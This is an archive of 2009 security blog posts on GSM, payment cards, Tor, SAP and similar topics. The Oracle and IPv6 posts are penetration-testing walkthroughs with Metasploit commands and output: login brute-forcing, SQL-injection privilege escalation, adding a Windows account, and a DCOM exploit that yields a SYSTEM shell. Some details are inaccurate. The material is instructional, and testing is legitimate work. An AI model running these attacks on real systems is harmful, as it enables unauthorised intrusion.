Thursday, December 17, 2009

GSM Security and 90's Mobsters

There are number of mobile/cell technologies available in the market today, however, the issues like security and privacy have remained the top concerns for every single network provider. Evaluating the generic GSM technology can give a brief overview on security controls within the cellphone/network system.

Information on SIM card generally includes:
-Call Register Information
-Private Photos/Videos

-Technical Network Information

GSM Network Structure Overview

What security protocols are being used?

A3 - Authentication mechanism for GSM Security
A5/1 - Stream Cipher for voice privacy
A5/2 - Weakest stream cipher for voice privacy
A5/3 - Provides confidentiality and integrity for mobile communications

So, are our call secure over GSM network? The answer is "no".

Scanning and decoding the GSM traffic using Nokia 3310 toolkit + Universal Radio Peripheral.

Nokia 3310

MBUS data cable
Gsmdecode (Linux)

Overall view of GSM Cellphone System Breach

Monday, November 30, 2009

Breaking The SmartCard Payment Security System

In the recent years, there has been a huge amount of development within e-commerce industry. One of the remarks to secure POS(point of sale) and other electronic payments is to use SmartCard Payment System (Chip & PIN technology). Its simple procedure allow customers to insert contact-smartcard at any POS and enter the PIN code into PED (Pin Entry Device) before authorizing the transaction.

SmartCard Protocol

1. Card To PED
Cardholder details captured (cardholder name, account, expiry, CVC, etc) and other magnetic strip information.

2. PED Display
Transaction description (currency type, value) and PIN entered by customer.

3. Final Authorization
PIN verification results and authorization code.

For this protocol standard to work securely, it is required to develop PED being tamper proofed. This foundation has been forced and practiced widely by VISA, EMV, PCI and APACS (UK). The evaluation of PED is then performed by well-established standards such as "Common Criteria".

Protection Measures and Possible Tampering

Tampered Switches within PED

Dione Xtreme

Ingenico i3300

Tamper Resistance

As of the current protection mechanisms deployed under PED help banks to secure their keys but not the actual customer details. Cardholder details including PIN code are sent unencrypted between card and PED. Thus, if a fraudster intercept these details a fake or clone of the card can be used to withdraw cash on ATMs worldwide depending on the capability of card type and issuer. Following are the key points highlighting weaknesses from the past done by various researchers.

-Loop holes in the tamper mesh allows commnication to be intercepted. Such that an easily accessible compartment can hide a recording device.

-Dione PED is vulnerable to route the card details outside resistance controller. A customized FPGA design can be used to capture the data.
-The relay attack scenario.

Root Causes For SmartCard Security Failure

-Engineering Challanges: 3,662 pages of Visa Chip & PIN specifications.
-Economic Incentives: Standard PED security works well to protect bank keys but customer's PIN left vulnerable.
-Certification Failure: PED passed its necessary certification requirements despite of the technical/design flaws mentioned above.

Security Measures

-PED design can be improved but the smartcard communication with PED is inherently difficult to protect.
-Encrypted PIN verification is mandatory and the copy of magnetic strip data should never be stored on the chip.
-Banks can improve the security but are not responsible for any fraud, putting liability on banks correct the incentives.
-Protocol designers making unrealistic assumptions of tamper resistance can put the bank customers at risk of fraud.

Friday, November 13, 2009

Practical Toolkit for Reverse Engineering

Many people has been involved in Reversing Engineering area for years. It is still considered attractive for many hackers and crackers to breakthrough and discover unknown possibilities exist to reverse the system objectives. Today in our article we will represent some of the core practical explanations on reverse engineering tactics.

Reverse Engineering is basically described as a way to generate high-level architectural view of piece of software from the given source. Several applications involved within RE scope are vulnerability analysis, malware analysis and breaking copy-protection schemes. One can start learning the basics of RE either through 'crack-me' approach or the real-life approach (take the real-world problem, break it and attack it).

Tools of The Trade

1. Debuggers
WinDbg - Rich features, Extensive C++ support, Poor interface.
Visual Studio Debugger - Not suitable for reversing, Good interface for development.
OllyDbg - Excellent interface, easy to use, wide range of plugins.
Immunity Debugger - Extends OllyDbg features, supports Python interpreter, command-line support with windbg commands, wide range of plugins.
GDb - Standard debugger for *NIX systems, not a complete RE debugger.

2. Disassemblers
Objdump - The standard tool for disassembley in Linux.
IDA Pro - Supports various binaries and architectures, Enhance Visualization, Advanced features.

3. System Monitoring Tools
Sysinternals Suite - Process Exlorer, RegMon, FileMon, TCPView

4. Binary Differential Tool

5. Decompilers

6. Reverse Engineering Frameworks

7. Dedicated Exploitation/Reverse Engineering Environment
DVL (Damn Vulnerable Linux)

Cutting Edge Steps on Advanced Reverse Engineering

-Automation is one of the major tasks in advancing the RE process.
-Most of the tools are scriptable, extensible and programmable.
-Defeating a new anti-debugging solutions
-Develop new RE environment, such as, Virtualization and Sandboxing.
-Joining one on another tool can make a powerful toolset for RE.

Thursday, October 29, 2009

Exploiting Rich Internet Applications (RIA)

Due to fast adoption of internet technologies like Web 2.0 and their integration with advanced web applications has raised unexpected security challenges. In this article we will review some of these issues related to Adobe Flash product. Flash supports wide range of multimedia features including, rich web application development, video streaming, games and many more. Flash can be deployed within browser or as a system application to run SWF(flash-supported) files. The SWF file consists of 64 tag types, each of which contains its own type, length and value. These can be reviewed in the following picture.
As many of the features are exposed through tags title and tags data. One of such tags is ActionScript. It provides extensible functionality for rich applications. It is mainly based on ECMAScript and when compiled is converted to ActionRecord sub-tags. These sub-tags are then stored into DoAction meta data. A single stream of ActionRecords is terminated by ActionEnd tag. Now, based on the published statistics and product popularity, it is easy to compile the information about how many Flash deployments are openly available throughout the internet under various operating systems and mobile devices (Target Scanning).

-Flash is available for all major OS(s).
-It is installed with default settings.
-ActionScript v2 is supported.

There are several security issues discovered in ActionScript v2 (AS2) in past, which can cause a serious damage to all computers loaded with Flash and connected over the internet. These vulnerabilities can easily be exploited due to improper implementation of flash-based web applications and poses major risk to all internet users. Thus, we introduce two assessment methodologies to test the security of flash applications.

Manual Testing

To understand the testing procedures and dissect the simple flash file in depth, we used Adobe Flash CS3. Inside this tool we got various facilities to audit the flash movie. ActionScript Editor is the one we can use to test several conditions, such as editing the source with first frame set as, getURL(""); On the other hand, one can also use SweetScape 010 Editor to do the similar testing.

Automated Testing

Fault Injection for Reverse Engineers (FIRE) Framework
-Gathering Input
Get the target flash movie to perform mutation.

-Survey Input
Survey logic will skip textual data regions in the file like XML, HTML, ASCII and mark the binary data such as ActionScripfor fault injection tests.

-Process Instrumentation
FIRE invokes the Browser COM object on start-up and monitor continuously through the debugger. By monitoring the execution of "CreateWindow" and other error conditions it is easy to measure the faults.

-Mutate Input
Fault injection can be performed on batch of file(s) and is mutated with integer overflows 8bit, 16bit, 32bit. Once the fault has been injected, the final event is sent to target application to trigger the tested SWF file.

-Process Monitoring
Whenever one code point is executed, a breakpoint will be hitted and the relevant event will be generated by FIRE to deliver it to the target listener. Some of these events are ModuleLoad Event, FaultDelivered Event, ApplicationFailure Event, ApplicationCriticalFailure Event.

-Bug Analysis
If the FIRE debugger encounter the ApplicationFailure Event or ApplicationCriticalFailure Event, it will record the case by collecting the input stream, thread context and stack trace information that will help us further to investigate the possible bug inside target input file.

Tuesday, October 20, 2009

Unicode: A Look Inside the Core of System Security

Unicode is a industry standard that is used to assign a unique number for every character independent of the platform or application. There can be different set of encoding systems used to represent a single language. For instance, English uses several encodings to cover all letters, symbols and punctuation.

One of the major problems is:
These encoding systems also conflict with one another. That is, two encodings can use the same number for two different characters, or use different numbers for the same character. Any given computer (especially servers) needs to support many different encodings; yet whenever data is passed between different encodings or platforms, that data always runs the risk of corruption. (

This shows that the use of Unicode system may reveal a serious threat to end users, applications, operating systems and programming languages. Unicode v5 is a complex and large standard, such that, it provides code points, normalization, case mapping, categorization, escapings, conversion tables, binary properties, etc. Additionally, it includes several code pages and charsets like Shift_jis, Gb2312, Windows-1252, ISO-8859-1, EBCDIC-037. Furthermore, the ASCII range is reserved from U+0000 to U+007F. Unicode v5.1 holds a 21-bit scalar value with space for over 1,100,000 code points (U+0000 - U+10FFFF). For instance, the english character 'A' represents U+0041 value.

Encodings with different number of bits can be presented as:

UTF-8 (variable width 1-4 bytes)
UTF-16 (Endianess, variable width 2 or 4 bytes)
UTF-32 (Endianess, Fixed width 4 bytes, Fixed mapping)

After anticipating the above mentioned properties of Unicode system, it is quite obvious to find the root causes of data encoding and transformation problems. Some of them are listed below:

-Visual Spoofing
-Best-fit mappings
-Overlong UTF-8
-Character Substitution
-Character Deletion
-Buffer Overflows
-Controlling Syntax
-Charset Transformation
-Charset Mismatch

Putting in consideration only one problem domain 'Visual Spoofing' which governs that in over 1,100,000 assigned characters look alike within the same or across multiple language scripts. The example is given below:

Such problems are the real threats. In the real-world attack scenario on International Domain Names (IDN), these can be used to spoof the actual website. For example: "is not"

The first letter of the 1st Domain contains "Latin U+0069 char" and the first letter of the 2nd domain represents "Latin U+0261 char". Does it make any visual difference? Thus, some of the main attack vectors that leverages visual spoofing are:

-Non-unicode attacks
-Problematic font-rendering
-Confusable charaters
-Manipulating combining marks
-Syntax spoofing

Tools that can help interpret such problems within web applications are:

-Passive web application auditing

-XSS autopwn testing tool

Friday, October 2, 2009

Evolution of SmartGrid: A new Game for Owning the Continent

The life of human has dramatically changed from the manual work to automation during the past few years. This change has brought excellent benefits to the humanity and significant change to our environment making the life easier and trustworthy. However, the lack of 'security' into automation has raised challenging questions to provide a resource with confidentiality, integrity, availability and accountability. And because of distributed nature of the internet, it has also become harder to control and regulate the illegal activities cross the border which requires additional law/petitions among countries.

SmartGrid is a digital technology for providing electricity. It allows the suppliers to remotely control the consumption of consumers electric energy and amend any possible variation in rates. In similar way, it does help users to monitor their energy usage in real-time. The major objectives of SmartGrid technology is to increase reliability, efficiency, perfectness and safety of the country's electrical infrastructure. Integration of security in such digital technology is vital and must be implemented with a broad vision. Currently, The Energy Independence and Security Act of 2007 has provided Energy Department with necessary guidelines to develop SmartGrid program. On the other side, US-NIST has been assigned with core responsibility of developing a framework of security for the SmartGrid and the project named by NIST called "Smart Grid Interoperability Project".

Current Security Initiatives (SmartGrid)

-Energy Independence and Security Act of 2007 (bill signed on 18-DEC-2007)
-NIST Smart Grid Interoperability Project (initial standards published on 8-MAY-2009)
-Advanced Metering Infrastructure (AMI) System Security Requirements v1.01 (Released on 17-DEC-2008)
-Critical Electric Infrastructure Protection Act (CEIPA) - (HR 2195) (Introduced on 30-APRIL-2009)


In response to the current state of design and implemetation of Smart Grid technology, it is an unfortunate condition for those such as, Salt River Project and Austin Energy, who had already started this revolution years back because of no proper security integration from the initial step of production. Thus, the security will be add-on feature for some SmartGrid producers after implementation. From the anticipation of electronic industry like banks and financial institutions, health care, manufacturers and other similar market segments facing critical threats at different levels today, it is quite obvious to judge the future of SmartGrid security. Some of which are given below:

1. Penetration testing for Smart Meters have shown negative signs, allowing attacker to take full control over the meters.
2. Wide scale denial of service (DoS) attacks are possible.
3. Application threats (exploiting OSI layer-7 to control the full usage of electricity over multiple homes/businesses).
4. Physical Security threat (if malicious adversary successfully access the SmartGrid controller room).
5. Controlling SmartGrid network, thus owning the whole continent?

A very serious initiatives will be forwarded by FERC in 2010 to fine the utility companies up to "$1million dollars per day" if any found non-compliance with security standards. Hence, there is more to come in near future.

Saturday, September 26, 2009

Security Threats in Tor Design

The Tor Project is one of the open-source solutions available to protect privacy and security over the network communication. There are currently 1500 active relays supported and 300,000+ active users world-wide. The basic definition of 'anonimity' is interpreted differently by different set of users. For instance, home users refer it as a privacy solution/anti-censorship, commercial sector call it a network security mechanism and the Government institutions take it as a traffic-analysis resistance.

Consider a simple relay architecture as below, in which each user hide its anonimity behind single proxy host.

Now, you can imagine that single relay could turn to be eavesdropper or single point of failure in communication. So, joining multiple relay-gates can add stability and anonimity in communication.

In this joint-relay conversation over the network, a corrupted node (RelayHost D) can identify that 'Shawn' is talking but never know to whom. Similarly, another node (RelayHost G) can tell that somebody is talking to 'Rosi' but don't know who. Thus, the integrity of privacy is secured, however, visualizing a typical Tor network design (Centralized Directory Protocol) can reveal
other set of threats.

Practical Security Problems

1. Tor hides your identity/location but never encrypt 'COMPLETE' set of network traffic, thus, vulnerable to eavesdropping attack on the internet.
2. Communication on ports like 23, 110, 109 etc should be refused by Tor?
3. Active attack on web cookies (e.g. Gmail Account) are still handy.
4. Before creating new Tor node, you need to be verified by central authority? Does it really exist?
5. What if your node is running anti-virus protection program on the top of win32 platform to detect malicious traffic? What will be the consequences?
6. What if you are relaying through the China node and its ISP is hijacking sessions using SSL MiTM attack.
7. No more than 2 inter-routing relays on one IP address is feasible?
8. Is it really secure to use Tor application directly from USB leaving no traces? How about WINDOWS/Prefetch folder and Registry entries?
9. Problems where communication take place from Tor to Non-Tor node and backward.
10. Abnormal use of proxy settings by the application can result in privacy exposure.
11. Clogging and congestion attacks.

Some Security Measures

1. Filter the connections by blocking unwanted directory authorities.
2. Filter unwanted relay IP addresses.
3. Prevent users from finding the Tor service running on your machine.
4. Cap on filtering based on Tor's network fingerprint.
5. Consider adaptive padding to the traffic.
6. Use higher level of encryption as possible (i.e. AES 256).
7. Integrate efficient algorithm for allocating connections safely to Tor circuit.

Sunday, September 13, 2009

Russian Cyberspace: A daylight in the dark world

Due to rapid increase in number of internet users and technology, the magnitude of threat-ratio is also multiplying every year. Cyber crime in today's fast moving world is considered as a potential business. FBI recorded and reported a loss of $265 million during the annual year of 2008. However, these does not cover other billions USD loss counted towards other parts of the world. Due to unfair nature of national and international cyber law enforcement structure and joint efforts of overseas government may result in serious problems between two or more countries.

Loss reported always become a part of "strategic revenue recovery plan" for the organizations by imposing higher prices on current products or by increasing the service charges for new or existing customers. Today's cyber crime is highly organized, transitional and very secretive with major criminal groups operating from more than 30 countries. The trend of cybercrime has emerged during the late 1990s to early 2000s in eastern Europe (i.e Republic of Soviet Union and other countries). Due to the presence of injustice and lack of law and order, the highly educated and technologically powered segments of population in Russia conduct sophisticated criminal activities to make their living. Apart from financial motivation, these criminals successfully suppress ethical anxiety and fear of stealing someone else entire life savings
by hiding their identity and forwarding the national justifications.

Statements like:
"They deserve what they are getting after what they've done to us"
"We are taking back what's rightfully ours"
are really common in online forums based in Eastern Europe. The highlights of which can be seen below:

In October 2004, FBI run a joint operation with Secret Service and USPIS called "Operation Firewall" which resulted in several arrests and termination of online criminal portals, "ShadowCrew" and "CarderPlanet". Other successful operations have also come forward, such as "Operation Cardkeeper" and "DarkMarket" in 2006 targeting the US and Western European criminals, concluded in October 2008 with 60 consecutive arrests. This fear has brought significant changes to the underground community such that many have left this illegal business and took their careers in different directions and those who remain intact gone underground.

Thursday, September 10, 2009

Oracle Security Assessment: The Open Source Approach

For the couple of years, number of Oracle vulnerabilities and exploits have been discovered in no order of standard methodology or appropriate guidelines. Moreover, there is no publicly available PenTesting Framework to check in-built packages for input validation attacks resulting in privilege escalation and data extraction. In this article, I will present the Oracle Pentesting Methodology in seven unique steps.

1. Discovery
Port Scanning for Oracle services can be done by using a simple Nmap tool. Oracle default ports are different for different products. But the main "Oracle TNS Listener" will always be using the range of 1521-1540 unless not changed.
For more information on ports used by Oracle, please visit:

bt#: nmap -sV -p 1521
Starting Nmap 4.85BETA8 ( ) at 2009-06-18 15:25 EDT
Interesting ports on
1521/tcp open oracle-tns Oracle TNS Listener
Interesting ports on
1521/tcp open oracle-tns Oracle TNS Listener (for 32-bit Windows)

2. Version Enumeration/Fingerprinting
In order to know the exact version of "TNS Listener", we will use Metasploit auxiliary:
msf auxiliary(tnslsnr_version) > info
Name: Oracle tnslsnr Service Version Query.
Version: 6479
License: Metasploit Framework License (BSD)
Provided by: CG
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target address range or CIDR identifier
RPORT 1521 yes The target port
THREADS 1 yes The number of concurrent threads

This module simply queries the tnslsnr service for the Oracle build.

msf auxiliary(tnslsnr_version) > set RHOSTS
msf auxiliary(tnslsnr_version) > run
[*] Host is running: 32-bit Windows: Version - Production

msf auxiliary(tnslsnr_version) > set RHOSTS
msf auxiliary(tnslsnr_version) > run
[*] Host is running: Solaris: Version - Production

msf auxiliary(tnslsnr_version) > set RHOSTS
msf auxiliary(tnslsnr_version) > run
[*] Host is running: Linux: Version - Production
[*] Auxiliary module execution completed

Now if we want to enumerate the "Oracle SID" for newer versions after, we have to put guess or bruteforce it.

[*] Host is running: 32-bit Windows: Version – Production
msf > use auxiliary/scanner/oracle/sid_enum
msf auxiliary(sid_enum) set RHOSTS
msf auxiliary(sid_enum) > run
[*] Identified SID for PLSExtProc
[*] Identified SID for cyxt
[*] Identified SERVICE_NAME for PLSExtProc
[*] Identified SERVICE_NAME for cyxt
[*] Identified SERVICE_NAME for cyxtXDB
[*] Auxiliary module execution completed

Bruteforce Method

msf auxiliary(sid_brute) > run
[*] Starting brute force on, using sids
from /home/bt/msf3/dev/data/exploits/sid.txt...
[*] Found SID 'ORCL' for host
[*] Auxiliary module execution completed

Apart from guessing and bruteforcing, we can also use different Oracle components to determine the SID. Such as, oracle servlets and web applications.

3. Bruteforce Attack
Using a standard or extended password list, one can bruteforce various combinations of usernames and passwords.
msf auxiliary(brute_login) > run

[-] ORA-01017: invalid username/password; logon denied
[-] ORA-01017: invalid username/password; logon denied
[*] Auxiliary module execution completed
msf auxiliary(brute_login) > db_notes
[*] Time: Sat May 30 08:44:09 -0500 2009 Note: host=

4. Injection Attack & Privilege Exploitation

msf > use auxiliary/sqli/oracle/dbms_export_extension
msf auxiliary(dbms_export_extension) > info
Version: $Revision:$
Provided by: MC
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DBPASS TIGER yes The password to authenticate as.
DBUSER SCOTT yes The username to authenticate as.
RHOST yes The Oracle host.
RPORT 1521 yes The TNS port.
SID DEMO yes The sid to authenticate with.

This module will escalate a Oracle DB user to DBA by exploiting an
sql injection bug in the DBMS_EXPORT_EXTENSION package.

msf auxiliary(dbms_export_extension) > set RHOST
msf auxiliary(dbms_export_extension) > set SID UNLUCKY
msf auxiliary(dbms_export_extension) > run

[*] Sending package...
[*] Done...
[*] Sending body...
[*] Done...
[*] Sending declare...
[*] Done...
[*] Auxiliary module execution completed
msf auxiliary(dbms_export_extension) >

msf auxiliary(oracle_sql) > set SQL select * from user_role_privs
SQL => select * from user_role_privs
msf auxiliary(oracle_sql) > run
[*] Sending SQL...
[*]SCOTT,DBA,NO,YES,NO<--New Privileges :-) [*] SCOTT,RESOURCE,NO,YES,NO [*] Done... [*] Auxiliary module execution completed msf auxiliary(oracle_sql) >

5. Post Exploitation

msf auxiliary(win32exec) > set CMD "net user dba P@ssW0rd /add“
CMD => net user dba P@ssW0rd1234 /add
msf auxiliary(win32exec) > run
[*] Creating MSF JAVA class...
[*] Done...
[*] Creating MSF procedure...
[*] Done...
[*] Sending command: 'net user dba P@ssW0rd /add‘
[*] Done...
[*] Auxiliary module execution completed

These set of steps give us a clear view of exploiting the Oracle infrastucture following similar or other modified Penetration Testing methodology. Thus, it is quite important for security professionals to understand and correlate the ideal testing methods to derive the requirements for Oracle platform security.

Monday, August 31, 2009

Escalating from PHP Hardend Environment

There are number of PHP threats and vulnerabilities which have been reported during the past few years. These include, file inclusion attacks, remote file upload vulnerability, insecure function injection (eval,create_function,preg_replace), etc. Executing malicious shellcode over vulnerable web servers is still easier but it is quiet challenging when "post exploitation" topic is highlighted.

Today many of PHP-based web servers are hardened by default and running with low privileges. Thus, it is extremely challenging for the attacker to gain full control over the server. Let's take a brief overview on common type of protection schemes used to hardened PHP environment:

1. Limit the PHP code (i.e. control each input/output)
2. Limit the PHP interpreter
3. Harden the code against buffer overflow + memory corruption
4. Limit the possibility of arbitrary code execution
5. Non-writable filesystem
6. safe_mode (disable access to configuration settings, limit access to files/directories, limit environmental variables)
7. disable_function/disable_classes (remove un-necessary functions and classes)
8. Use memory manager (malloc/mmap) to apply safe_unlink feature and three canaries (metadata,buffer(before/after)
9. Kernel-level protection with ASLR (address space layout randomization), mprotect(), Apparmor, SELinux, GRSecurity

Now take some highlights on PHP vulnerabilities and exploitable condition:

1. Caller of the PHP application can force parameter to be passed by reference

function increase($a)
$z = 7;
// pass $z as a reference
echo $z,"\n";

This happens because we are unable to disabled the internal "allow_call_time_pass_by_reference" function.

2. executor_globals() to find the interesting target, it contains list of functions/ini entries/jmp_buf but the memory position is unknown and
it changes the structure with every single PHP version.

3. To execute the user choice of code, function dl() comes in handy but it requires:
-platform independent library
-a writable directory
-enable_dl should be activated
-setting extension_dir to the shared library directory

4. Attacking under x86 linux platform:
-PHP array leaks the pDestructor pointer which points to PHP code segment
-scan until we find ELF header in memory
-once ELF header discovered, we can also find imported functions
-select the function which have been imported from libc (memcpy)
-from there we can look any function within libc and access their addresses
-address to shellcode can be written and executed
-copying shellcode into the writable text-segment and execute it

Wednesday, August 26, 2009

Cloud Computing: A Security Outlook

A 'cloud' in computing environment is the combination of Infrastructure as a service (IaaS), Platform as a Service (PaaS), and Software as a Service (SaaS) components. Well, most of us may confuse it with ASP (Application Service Provisioning) strategy, which is completely wrong. In simple terms, cloud is a virtualized, dynamically scalable, shared fabric and shared hardware solution to the users. It avoids capital expenditure (CapEx) on purchasing expensive hardware, software and other services by renting the usage from a third-party provider under SLA (Service-level Agreement). For more information, a cloud taxonomy is attached below.

When taking insights of security within Cloud Computing domain give a clear view of risks involved from consistency, interoperability, confidentiality, availability and integrity point of view, such as:

-Host visibility within cloud
-Trust Exploitation
-Data Privacy issues
-Immature logging process
-Data center tripwire
-Application security vulnerabilities
-Backdoored filesystem/virtualized operating systems/applications
-Virtualization security issues
-Content ownership/Intellectual property rights
-Cleartext data storage and transfer vs SSL/EV-SSL
-Use of weak encryption technology
-Centralized approach

Hence, before approaching any cloud computing vendor its better to investigate their policies and procedures regarding security of your company's data transactions. This can be analyzed on the following basis:

-Data segregation and use of strong encryption technology
-Data hosting location
-Recognized under industry standards and regulatory compliance.
-Disaster recovery and business continuity assurance
-Privileged access control
-Availability of resources and data
-Viability of data in case if the vendor goes out of business

A good set of cloud service can be differentiated under agility, sustainability, cost, multi-tenancy, reliability, scalability and security. Additionally, from security perspective, a 'focused penetration testing' may rest assure a vendor from any false sense of security and thus save the cost of any data loss or liability issues.

For more information on current security initiatives, visit:
[1]Cloud Security Alliance -
[2]ENISA Cloud Security Working Group -

Wednesday, August 19, 2009

Exploiting SAP Business Platforms: The Pen-Testing Analysis

SAP simply stands for "Systems, Applications and Products in data processing". SAP as a unique business solution developer integrates range of solutions including ERP, CRM, GRC, PLM, SCM and many more. The ease of usage, implementation and market reputation has put forward a strong basis for the company (german based) worldwide. Deploying SAP solution is a bit lengthy and complex process and that's why a core security settings left default or unattended. This could results in serious exposure of the SAP platforms and flag a high risk to the organization.

SAP Basic Components

ClientID - Business unit or Corporation with unique identifier.
Transaction - A conversation between client interface and backend database.
Authorization - Users assigned roles/profiles.
ABAP - SAP high-level programming language.
Reports - A component to generate report on user requests.
Functional Modules - A set of remote or local procedures.
RFC Interface - Remote funtion call library.

SAP Security

Talking in the specific context of SAP platform, many auditors would like to harden the SAP authorization subsystem (roles and profiles). While hardening the authorization process and segregation of duties is considered vital but there is also another aspect of security which involves technical assessment of all the networked components within SAP environment. Conducting "Penetration Testing" using industry-proven methodology gives more clear outlook for security vulnerabilities and threats in the existing infrastructure. Such as, weakness in configuration may result in business frauds. The typical number of steps followed under SAP Pen-Testing are:

-Discovery (Find the target)
-Enumeration (Services running on the platform)
-Vulnerability Assessment (Check for the presence of known/unknown vulnerabilities)
-Exploitation (Try to gain administrator privileges on the defined system)

The main goal is to achieve the highest possible privileges in the production environment which can be accomplished by:

-Getting SAP Administration access
-DBA privileges
-SAP_ALL access privileges

Though obtaining any of the above access may give complete control over SAP systems.

SAP Penetration Toolkit

Following are some of the key tools necessary to assess the SAP infrastructure.

-JTR (John The Ripper)
-THC Hydra
-SQL Client Tools
-NFS Client Tools

It worth to mention that "Sapyto" is specially designed as SAP Penetration Testing Framework to cover all aspects of Pen-Testing methodology. And because it is developed in python and C, it is easier port plugins.


1.Restrict connections to the SAP gateway.
2.Restrict access to shared resources. Such that, allow only internal connections.
3.Harden the configuration settings.
4.Remove/Change the default user accounts.
5.Enable "SNC" to protect against evasdropping.
6.Good password security should be enforced.
7.Access to transactions should be restricted.
8.Use SAP authorization object "S_Program" to protect report confidentiality.

Tuesday, August 11, 2009

Exploiting IPv6 Network Stack: A Pen-tester Approach

The Next-generation protocol, IP version 6, has came out nearly 11 years ago but never been used or practiced in the real world network envrionment. This lack of adoption of technology has not only left many machines in corporate networks without IPv6 implementation but also put a negative affect on networking and operating system vendors. On the other side, due to its fast growth and complexity of implementation in various firewalls and intrusion detection/prevention appliances has revealed the attack surface, as they cannot block malicious IPv6 traffic. The main purpose of this article is to demonstrate the process through which a penetration tester can assess the security of IPv6 enabled environment.

Addressing Scheme
The representation of IPv6 has changed alot from IPv4 addressing scheme. IPv6 network address consists of 128 bits or 16 bytes as a pair of four hex-digits separated by colons. This gives more wider address space and flexibility to segment the addresses accordingly. Lets take some examples to understand the inner workings of IPv6 addressing.

::1 represents loopback or localhost address (IPv4 equivalent
::0 or :: represents ANY IPv6 address
fe80:: prefix represents link-local address
2000:: prefix represents site-local address

Attack Surface
Usually all the IPv6 network nodes are configured with at least one link-local address (fe80::). While performing this automatic configuration, a router discovery request will be sent to all IPv6 enabled routers on their broadcast addresses. Now, if any router respond back, the node will select that site-local address (2000::) for its interface. This scenario introduces a threat where there is no active IPv6 routers and the attacker takes advantage to reply with rogue address. The risk factor of such attack is higher and may cause serious damage and data leakage problems for the organization. Using the mentioned scenario, I will demonstrate the real-world attack on IPv6 network from penetration testing perspective.

1. IPv6 Network Configuration
To validate if your system is configured with IPv6 address at particular interface, execute the following command:

# ifconfig eth0 | grep inet6
inet6 addr: fe80::0102:03ff:fe04:0506/64 Scope:Link

2. Discovery and Scanning
IPv6 design introduces a new set of protocol for network discovery. It consists of ICMPv6 Neighbour Discovery and Neighbour Solicitation protocols. In order to enumerate the network hosts, we can use the "IPv6 Attack Toolkit" published by Van Hauser. This task is accomplished using "alive6" program included in the package.

# alive6 eth0
Alive: fe80:0000:0000:0000:xxxx:xxff:fexx:xxxx
Alive: fe80:0000:0000:0000:yyyy:yyff:feyy:yyyy
Found 2 systems alive

The combination of "ip" and "ping6" command can also accumulate in local IPv6 node discovery process.

# ping6 -c 3 -I eth0 ff02::1 >/dev/null 2>&1
# ip neigh | grep ^fe80
fe80::211:43ff:fexx:xxxx dev eth0 lladdr 00:11:43:xx:xx:xx REACHABLE
fe80::21e:c9ff:fexx:xxxx dev eth0 lladdr 00:1e:c9:xx:xx:xx REACHABLE

3. Service Enumeration
In order to find the open ports running specific services on target IPv6 machine. An attacker can simply use "NMap" as follows:

# nmap -6 fe80::xxxx:xxxx:xxxx:xxxx%eth0
Starting Nmap 4.68 ( ) at 2008-08-27 13:57 CDT
22/tcp open ssh

The similar task can be done through Metasploit Framework's TCP port scanner which includes a complete support for IPv6 addresses.

# msfconsole
msf> use auxiliary/discovery/portscan/tcp
msf auxiliary(tcp) > set RHOSTS fe80::xxxx:xxxx:xxxx:xxxx%eth0
msf auxiliary(tcp) > set PORTSTART 1
msf auxiliary(tcp) > set PORTSTOP 10000
msf auxiliary(tcp) > run
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:135
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:445
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1025
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1026
[*] TCP OPEN fe80:0000:0000:0000:xxxx:xxxx:xxxx:xxxx%eth0:1027
[*] Auxiliary module execution completed

4. Exploitation
To move towards penetration stage, it is vital to determine all set of vulnerable services running on the target machine. For instance, consider the following NMap results from scanning the IPv6 Windows interface.

# nmap -6 -p1-10000 -n fe80::24c:44ff:fe4f:1a44%eth0
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
554/tcp open rtsp
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1030/tcp open iad1
1032/tcp open iad3
1034/tcp open unknown
1035/tcp open unknown
1036/tcp open unknown
1755/tcp open wms
9464/tcp open unknown

As we know that Metasploit Framework supports IPv6 sockets. This allow us to use almost any auxiliary and exploit modules against IPv6 hosts same as IPv4. For the purpose of demonstration, I have used MS03-036 (Blaster) exploit to penetrate DCERPC endpoint mapper service (port 135) and get a root shell.

msf> use windows/exploit/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set RHOST fe80::24c:44ff:fe4f:1a44%eth0
msf exploit(ms03_026_dcom) > set PAYLOAD windows/meterpreter/bind_ipv6_tcp
msf exploit(ms03_026_dcom) > set LPORT 4444
msf exploit(ms03_026_dcom) > exploit
[*] Started bind handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[...]
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:[...][135]
[*] Sending exploit ...
[*] The DCERPC service did not reply to our request
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (73227 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened
msf exploit(ms03_026_dcom) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM


THC IPv6 Attack Toolkit -
The Metasploit Framework -
nmap -
IPv6 Site -
RFC 2461 -

Monday, July 27, 2009

Securing Application Infrastructure: The analysis of Application Security Methodologies

The trend of security threats has recently gained a prominent attention in media and industry reports. This article will briefly examine the methodologies and approaches that most organizations follow to address security issues by giving examples, test cases, strengths and weaknesses. Today's widely known solutions involve vulnerability scanning, static code analysis, penetration testing, binary analysis, fuzzing etc. Which of them are more or less reliable and which of them can address specific type of application problems, is mainly discussed here.

As many software vendors think that 'security issues' may never laid them out of business but in reality it does affect the sales as well as market reputation. Deploying proper application security not only rest assure the clients but also lead to increase the productivity. Let us take an example of interesting equation:

X=Applications developed
Y=Vulnerabilities exist in those applications
Z=Cost of repair (patch and fixes)
Now; X.Y.Z=A (answer)

If 'A' is less than the cost of third-party QA auditor, cost of training the developers and conducting additional security audits then it make more sense to write an insecure code.

